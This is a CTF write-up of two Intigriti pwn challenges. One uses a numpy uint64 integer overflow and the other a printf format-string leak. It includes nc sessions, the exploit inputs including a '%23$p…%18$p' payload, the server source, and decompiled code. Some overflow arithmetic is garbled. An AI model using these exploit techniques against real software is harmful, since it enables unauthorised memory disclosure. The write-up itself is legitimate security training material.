1337UP LIVE CTF-Pwn
Over The Edge
Description
Author: kavigihan
Numbers are fun!! 🔢
edge.ctf.intigriti.io 1337
over_the_edge.py
Solution
1
2
3
4
$ nc edge.ctf.intigriti.io 1337
Time to jump over the edge!
1234
Try again.
Look at function process_input()
1
2
3
4
5
6
7
8
9
10
11
def process_input(input_value):
num1 = np.array([0], dtype=np.uint64)
num2 = np.array([0], dtype=np.uint64)
num2[0] = 0
a = input_value
if a < 0:
return "Exiting..."
num1[0] = (a + 65)
if (num2[0] - num1[0]) == 1337:
return 'You won!\n'
return 'Try again.\n'
num2 - num1
need to equal to 1337
In Maths format 0 - (input + 65) = 1337
but the input can’t be lower than 0 otherwise the program will return Exiting...
which we don’t want that. If we look a bit up in the function. we will see that the type of num1
and num2
is uint64
uint64 Unsigned integer (0 to 18446744073709551615)
If the input is 18446744073709551550(18446744073709551615 - 65)
the result: num1 = 18446744073709551615
| 0(num2) - num1 = 1
0 - 18446744073709551551615 = -18446744073709551551615
is out of uint64’s range. It return back to 1
0 - 18446744073709551551614 = -18446744073709551551614
it return back to 2
0 - 18446744073709551551613 = -18446744073709551551613
it return back to 3
It is integer overflow. Now we know the idea of it. Next let’s use some maths.
So we need 0(num2) - num1 = 1337
. num1 should be 18446744073709550279 (18446744073709551615-1336)
. then the input have to be 18446744073709550214 (18446744073709550279-65)
If the result is 1337, the function will return You won!
and the program will give us a flag.
1
2
3
4
$ nc edge.ctf.intigriti.io 1337
Time to jump over the edge!
18446744073709550214
INTIGRITI{fUn_w1th_1nt3g3r_0v3rfl0w_11}
It worked!
Flag: INTIGRITI{fUn_w1th_1nt3g3r_0v3rfl0w_11}
Source code - over_the_edge.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import numpy as np
import warnings
import socket, sys
import threading
warnings.filterwarnings("ignore", category=RuntimeWarning)
warnings.filterwarnings("ignore", category=DeprecationWarning)
def process_input(input_value):
num1 = np.array([0], dtype=np.uint64)
num2 = np.array([0], dtype=np.uint64)
num2[0] = 0
a = input_value
if a < 0:
return "Exiting..."
num1[0] = (a + 65)
if (num2[0] - num1[0]) == 1337:
return 'You won!\n'
return 'Try again.\n'
def handle_client(client_socket, client_address):
try:
print(f"Accepted connection from {client_address}")
client_socket.send(b"Time to jump over the edge!\n")
client_socket.send(b"")
while True:
input_data = client_socket.recv(1024).decode().strip()
if not input_data:
break
input_value = int(input_data)
response = process_input(input_value)
if response == 'You won!\n':
with open("flag", "r") as flag_file:
flag_content = flag_file.read()
client_socket.send(flag_content.encode())
client_socket.close()
break
else:
client_socket.send(response.encode())
client_socket.close()
print(f"Connection from {client_address} closed")
except:
client_socket.close()
def main():
host = '0.0.0.0'
port = 1337
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen()
print(f"Listening on {host}:{port}")
while True:
client_socket, client_address = server_socket.accept()
client_thread = threading.Thread(target=handle_client, args=(client_socket, client_address))
client_thread.start()
if __name__ == "__main__":
main()
Floor Mat Store
Description
Author: CryptoCat
Welcome to the Floor Mat store! It’s kind of like heaven.. for mats
floormats.ctf.intigriti.io 1337
floormats
Solution
This challenge give us ELF 64-bit
file.
1
2
$ file floormats
floormats: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=386aa1493b9103743d0ce9091badfa29d656245e, for GNU/Linux 3.2.0, not stripped
I used ghidra to decompile the program. Decompiled source code - floormats
There is a secret mat 6. Mysterious Flag Mat - $1337
at line 26.
According to the Decompiled source code - floormats, If the first input is 6
, the program will read flag.txt
and put it in local_d8
variable.
At line 56, There is a format string vuln printf(local_98);
because It call printf() without specific a type of the varible. So If we input something like this %p
-> printf(%p);
the program will bring something in memory.
The idea to read the flag is
- input
6
then the program will load content offlag.txt
in memory. - input many
%p
and hope the program will leak the flag.
After a while I found that first location of the flag %18$p
payload: %23$p %22$p %22$p %21$p %20$p %19$p %18$p
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ nc floormats.ctf.intigriti.io 1337
Welcome to the Floor Mat store! It's kind of like heaven.. for mats.
Please choose from our currently available floor mats
Note: Out of stock items have been temporarily delisted
Please select a floor mat:
1. Cozy Carpet Mat - $10
2. Wooden Plank Mat - $15
3. Fuzzy Shag Mat - $20
4. Rubberized Mat - $12
5. Luxury Velvet Mat - $25
Enter your choice:
6
Please enter your shipping address:
%23$p %22$p %22$p %21$p %20$p %19$p %18$p
Your floor mat will be shipped to:
0x7d66376e3172 0x705f37753062345f 0x705f37753062345f 0x6e7234775f793368 0x375f7968775f3537 0x3468375f30357b49 0x5449524749544e49
1
0x7d66376e3172 0x705f37753062345f 0x705f37753062345f 0x6e7234775f793368 0x375f7968775f3537 0x3468375f30357b49 0x5449524749544e49
Decode these hex and reverse them. then get the flag. CyberChef
Flag: INTIGRITI{50_7h475_why_7h3y_w4rn_4b0u7_p_4b0u7_pr1n7f}
Decompiled source code - floormats
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
undefined8 main(void)
{
int iVar1;
long in_FS_OFFSET;
int local_128;
int local_124;
__gid_t local_120;
int local_11c;
char *local_118;
FILE *local_110;
char *local_108 [4];
char *local_e8;
char *local_e0;
char local_d8 [64];
char local_98 [136];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
setvbuf(stdout,(char *)0x0,2,0);
local_108[0] = "1. Cozy Carpet Mat - $10";
local_108[1] = "2. Wooden Plank Mat - $15";
local_108[2] = "3. Fuzzy Shag Mat - $20";
local_108[3] = "4. Rubberized Mat - $12";
local_e8 = "5. Luxury Velvet Mat - $25";
local_e0 = "6. Mysterious Flag Mat - $1337";
local_118 = local_d8;
local_120 = getegid();
setresgid(local_120,local_120,local_120);
local_110 = fopen("flag.txt","r");
if (local_110 == (FILE *)0x0) {
puts("You have a flag.txt, right??");
/* WARNING: Subroutine does not return */
exit(0);
}
puts(
"Welcome to the Floor Mat store! It\'s kind of like heaven.. for mats.\n\nPlease choose from o ur currently available floor mats\n\nNote: Out of stock items have been temporarily delisted\n "
);
puts("Please select a floor mat:\n");
for (local_124 = 0; local_124 < 5; local_124 = local_124 + 1) {
puts(local_108[local_124]);
}
puts("\nEnter your choice:");
__isoc99_scanf(&DAT_001021b6,&local_128);
if ((0 < local_128) && (local_128 < 7)) {
local_11c = local_128 + -1;
do {
iVar1 = getchar();
} while (iVar1 != 10);
if (local_11c == 5) {
fgets(local_d8,0x40,local_110);
}
puts("\nPlease enter your shipping address:");
fgets(local_98,0x80,stdin);
puts("\nYour floor mat will be shipped to:\n");
printf(local_98);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
puts("Invalid choice!\n");
/* WARNING: Subroutine does not return */
exit(1);
}